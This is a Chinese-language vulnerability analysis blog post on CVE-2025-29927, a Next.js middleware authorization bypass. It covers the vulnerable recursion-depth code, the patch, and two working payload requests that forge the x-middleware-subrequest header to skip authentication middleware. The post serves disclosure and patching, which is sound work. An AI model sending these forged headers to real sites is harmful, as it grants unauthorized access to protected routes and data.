本文代码版本为next.js-15.2.2

本篇文章首发在先知社区:https://xz.aliyun.com/news/17403

一、漏洞概述

CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。

二、漏洞分析

1. 漏洞背景

Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:

  • 身份验证:检查用户会话Cookie,拦截未授权请求。
  • 路径重写:动态修改请求路径(如多语言路由/en/home → /home)。
  • 安全头设置:添加CSP、CORS等安全响应头。

中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。

2. 漏洞核心机制

用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过x-middleware-subrequest头标识内部递归请求。

每次递归请求都会向该头添加一次middleware,如果递归请求达到五次,就会返回一个带有 'x-middleware-next': '1' 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。

packages\next\src\server\web\sandbox\sandbox.ts

3. 关键代码

简化代码:

  • params.name:中间件路径标识(如 src/middleware 或 middleware)。
  • subrequests:x-middleware-subrequest 头按 : 分割后的数组。
  • depth:统计 subrequests 中与 params.name 匹配的次数。
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
) if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new runtime.context.Response(null, {
headers: {'x-middleware-next': '1',},}),}
}

漏洞成因:

  • 路径暴露:中间件的逻辑路径(middlewareInfo.name)可被攻击者推测。
  • 校验宽松:未对外部请求的x-middleware-subrequest头进行过滤,允许伪造内部请求标识。

4. Payload 构造

确定中间件路径标识

params.name 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由.next/server/middleware-build-manifest.json文件决定。

构造绕过请求头

middleware.ts在根目录 → middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

middleware.ts在 src 目录 → src/middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

三、漏洞复现

环境地址:lem0n817/CVE-2025-29927 (github.com)

middleware

src/middleware

四、漏洞修复

Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)

这里是对多处进行了修改,挑选最关键的一处进行分析:

通过动态令牌验证(x-middleware-subrequest-id)和加密符号存储(Symbol.for)严格区分内外请求,非法伪造的x-middleware-subrequest头会被自动删除,确保中间件安全逻辑不被绕过。

// If this request didn't origin from this session we filter
// out the "x-middleware-subrequest" header so we don't skip
// middleware incorrectly
if (
header === 'x-middleware-subrequest' &&
headers['x-middleware-subrequest-id'] !==
(globalThis as any)[Symbol.for('@next/middleware-subrequest-id')]
) {
delete headers['x-middleware-subrequest']
}

五、参考

代码审计-知识星球 (zsxq.com)

Next.js 和损坏的中间件:授权工件 - zhero_web_security

CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog


本文作者CVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

先知社区:https://xz.aliyun.com/users/136909

微信公众号:Lemon安全

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)的更多相关文章

  1. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  2. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

  3. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  4. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  5. CVE-2017-12635(Couchdb垂直权限绕过漏洞)

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  6. CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析

    0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...

  7. broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...

  8. PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现

    猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...

  9. SaltStack 水平权限绕过漏洞(CVE-2020-11651)

    影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...

  10. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...

随机推荐

  1. HUAWEI MindStudio安装配置

    HUAWEI MindStudio安装配置 官网: 链接 安装流程 获取软件包 软件包 说明 获取链接 MindStudio_{version}_linux.tar.gz MindStudio软件包, ...

  2. gRPC编译与字段编号的细节探讨

    上次我们专门通过一个简单的HelloWorld示例来了解了gRPC的基本概念和使用方法.今天,我们将继续深入探讨gRPC,重点讨论一些在实际应用中需要特别注意的要点.实际上,gRPC的核心目标是简化远 ...

  3. 在 .NET Core中如何使用 Redis 创建分布式锁

    在 .NET Core WebApi 中使用 Redis 创建分布式锁可以通过 StackExchange.Redis 库来实现.分布式锁用于确保在分布式系统中,同一时间只有一个进程可以执行某段代码. ...

  4. 在OERV也可以玩MC(上)

    最近发现一个比较有意思的事情,原来HMCL这个项目也移植到RISC-V上了,之前一直没有发现,因此在OERV(openEuler RISC-V的简称)玩MC也是可以的了.首先,HMCL是一款功能丰富的 ...

  5. 压力测试-jmeter-copy

    1. 场景描述 新申请的服务器,要压测下python算法程序最多能执行多少条数据,有几年没用压力测试工具-jmeter了,重新下载了最新版本,记录下,也希望能帮到准备使用jmeter做压测的朋友. 2 ...

  6. 如何快速的开发一个完整的iOS直播app(播放篇)

    作者:袁峥链接:https://www.jianshu.com/p/7b2f1df74420来源:简书著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 开发一款直播app,集成ij ...

  7. 深入理解Java泛型、协变逆变、泛型通配符、自限定

    禁止转载 重写了之前博客写的泛型相关内容,全部整合到这一篇文章里了,把坑都填了,后续不再纠结这些问题了.本文深度总结了函数式思想.泛型对在Java中的应用,解答了许多比较难的问题. 纯函数 协变 逆变 ...

  8. 独立开发经验谈:我是如何借助 Docker 环境变量让客户 1 分钟上线客服系统的

    我在业余时间开发了一款自己的独立产品:升讯威在线客服与营销系统.陆陆续续开发了几年,从一开始的偶有用户尝试,到如今线上环境和私有化部署均有了越来越多的稳定用户,在这个过程中,我也积累了不少如何开发运营 ...

  9. SDN网络技术在云计算中的应用

    本文分享自天翼云开发者社区<SDN网络技术在云计算中的应用>,作者:1****m SDN(软件定义网络)是一种新型的网络架构,其基本思想是将数据平面和控制平面分离,通过集中式的控制器来管理 ...

  10. Pyinstaller打包工具

    本篇博客主要介绍的是pyinstaller在windows下的基本使用和基础避坑 在windows中使用pyinstaller工具打包时会出现一个问题,在打包列表会看到这样的警告信息: django. ...